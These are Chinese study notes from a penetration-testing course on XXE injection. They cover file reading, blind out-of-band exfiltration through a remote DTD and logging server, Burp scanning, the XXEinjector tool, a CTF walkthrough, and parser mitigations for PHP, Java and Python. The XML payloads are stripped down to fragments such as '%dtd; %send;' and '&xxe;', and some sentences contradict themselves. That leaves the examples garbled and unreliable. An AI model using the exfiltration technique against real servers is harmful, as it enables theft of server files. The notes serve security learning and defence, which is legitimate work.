免责声明: 本内容仅为【小迪安全-web渗透测试】的学习笔记,仅用于技术研究,禁止使用文章中的技术进行非法行为,如利用文章中技术进行非法行为造成的后果与本文作者无关。
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计为显示数据,其焦点是数据的外观。
XML旨在传输信息,HTML旨在传输信息。
]]]>
Dave
Tom
Reminder
You are a good man
XXE漏洞全称XML External Entity Injection,即外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁用外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
]>
&xxe; &xxe;
//xxe为变量,读取test.txt
//打印出来
用file协议读指定路径的文件
显示结果:
]>
&rabbit;
如果设置了禁止外部实体引用,将会失效
%file;
]>
&send;
可以在远程服务器evil2.dtd写上:
%dtd;
%send;
]>
Base64加密是反正传输中乱码,传输失败。
本地192.168.0.103上构造:
test.dtd:
"
>
%payload;
开启日志,看日志就可以看到test.txt数据了。
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
]>
&f;
如何检测:
burp上抓包 右键
do an active scan:扫描漏洞
Send to spider:爬行
利用爬行,找到有xml,把xml代码拷贝到post上既可以利用
例子:
扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base32 64解密->php运行->flag
xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
https://www.cnblogs.com/bmjoker/p/9614990.html
xxe_payload_fuzz
很多靶场镜像的网站:
https://download.vulnhub.com
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤关键词:
涉及资源:
https://github.com/c0ny1/xxe-lab
https://download.vulnhub.com/xxe/XXE.zip //靶场
https://github.com/enjoiz/XXEinjector
https://www.cnblogs.com/bmjoker/p/9614990.html //xxe注入工具
https://www.cnblogs.com/20175211lyz/p/11413335.html //介绍xxe
本文来自:
http://www.pingtaimeng.com/article/detail/id/1554938
https://www.cnblogs.com/trevain/p/13651273.html
https://blog.51cto.com/u_15162069/2774409